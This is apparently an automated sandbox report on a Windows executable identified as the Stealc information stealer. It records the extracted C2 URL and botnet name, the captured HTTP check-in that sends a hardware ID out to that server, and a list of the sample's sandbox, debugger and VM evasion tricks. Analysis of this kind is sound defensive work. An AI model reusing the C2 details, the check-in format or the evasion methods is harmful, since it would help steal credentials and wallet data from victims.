Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542970
MD5:	a2d11b8a418d4d4f4653ffd4af70d5c7
SHA1:	f3067cf41aa873f0a0b363641f7be52f3497ab4b
SHA256:	de03784bad73bf146aef041c6d82e2f0e519688bcc6230f4cf88272b24b2a328
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A2D11B8A418D4D4F4653FFD4AF70D5C7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1723267854.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.520000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T01:47:07.638757+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.520000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0052C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00527240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00527240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00529AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00529AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00529B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00529B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00538EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00538EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00534910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0052DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0052E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00534570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0052ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0052BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0052DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0052F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00533EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00533EA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 37 39 33 33 44 45 31 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"9A7933DE1F39786254513------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"puma------EBKKKEGIDBGHIDGDHDBF--

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00524880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00524880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 37 39 33 33 44 45 31 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"9A7933DE1F39786254513------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"puma------EBKKKEGIDBGHIDGDHDBF--

Source: file.exe, 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php-
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/4
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php9
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php:
Source: file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpY
Source: file.exe, 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Y

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BC0B9	0_2_007BC0B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008EB9F9	0_2_008EB9F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E513D	0_2_008E513D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F4206	0_2_008F4206
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F6A3C	0_2_008F6A3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E6B3E	0_2_008E6B3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00842363	0_2_00842363
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00845C0E	0_2_00845C0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E6D0B	0_2_007E6D0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E85F6	0_2_008E85F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B9D55	0_2_008B9D55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009686DA	0_2_009686DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F267F	0_2_008F267F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F1724	0_2_008F1724

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 005245C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: pbupcvvt ZLIB complexity 0.9950165471464949

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00539600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00533720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00533720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\3TRCETLZ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1865728 > 1048576

Source: file.exe

Static PE information: Raw size of pbupcvvt is bigger than: 0x100000 < 0x1a1400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.520000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pbupcvvt:EW;eseqydfj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pbupcvvt:EW;eseqydfj:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00539860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ca9ee should be: 0x1cd4a4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pbupcvvt
Source: file.exe	Static PE information: section name: eseqydfj
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009858B0 push edi; mov dword ptr [esp], ecx	0_2_009858CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009858B0 push ecx; mov dword ptr [esp], edi	0_2_0098592E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009858B0 push ebp; mov dword ptr [esp], esi	0_2_0098593A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091E0A6 push 5FC68DABh; mov dword ptr [esp], edi	0_2_0091E0E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A90A3 push eax; mov dword ptr [esp], ebp	0_2_009A950C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A90A3 push ebp; mov dword ptr [esp], edx	0_2_009A9AE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099E8D1 push 09B3E6CEh; mov dword ptr [esp], esi	0_2_0099E8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B00CD push edx; mov dword ptr [esp], ebx	0_2_009B0910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B00CD push ecx; mov dword ptr [esp], eax	0_2_009B0914
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053B035 push ecx; ret	0_2_0053B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DE829 push 34C7C552h; mov dword ptr [esp], eax	0_2_009DE7A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DE829 push ebx; mov dword ptr [esp], 575251B9h	0_2_009DE85F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DE829 push 6DBA7187h; mov dword ptr [esp], esi	0_2_009DE879
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00926029 push 37E85360h; mov dword ptr [esp], ebx	0_2_009262C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BC0B9 push 354B4A22h; mov dword ptr [esp], ecx	0_2_007BC147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BC0B9 push 1C5DD1B1h; mov dword ptr [esp], edi	0_2_007BC18C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC5062 push edi; mov dword ptr [esp], ecx	0_2_00BC50B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC5062 push edi; mov dword ptr [esp], 57CFC0D1h	0_2_00BC5114
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC5062 push 1EC13951h; mov dword ptr [esp], ebx	0_2_00BC513F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push eax; mov dword ptr [esp], 7FFF0864h	0_2_0099B098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push 68B46C00h; mov dword ptr [esp], ebp	0_2_0099B0A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push eax; mov dword ptr [esp], edi	0_2_0099B0B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push edx; mov dword ptr [esp], edi	0_2_0099B12C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push edi; mov dword ptr [esp], ebx	0_2_0099B150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push 45720ABBh; mov dword ptr [esp], ecx	0_2_0099B1D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push eax; mov dword ptr [esp], ebx	0_2_0099B1ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push edx; mov dword ptr [esp], ebp	0_2_0099B1F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B078 push edx; mov dword ptr [esp], 3B8F65B0h	0_2_0099B1F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AF879 push 4E344040h; mov dword ptr [esp], ecx	0_2_009AF8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FA06A push 79803901h; mov dword ptr [esp], ebp	0_2_008FA0F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FA06A push eax; mov dword ptr [esp], ecx	0_2_008FA135

Source: file.exe

Static PE information: section name: pbupcvvt entropy: 7.9539107062128656

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00539860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13222

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782358 second address: 78235C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78235C second address: 782360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782360 second address: 782366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9EC4 second address: 8F9ECC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9ECC second address: 8F9EE8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F228D5156D3h 0x00000008 pop ecx 0x00000009 push ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA43A second address: 8FA452 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F228CBCA0B3h 0x00000008 jmp 00007F228CBCA0ADh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA729 second address: 8FA72F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA72F second address: 8FA738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA738 second address: 8FA740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDACF second address: 8FDAD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDB21 second address: 8FDB2A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDB2A second address: 8FDB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
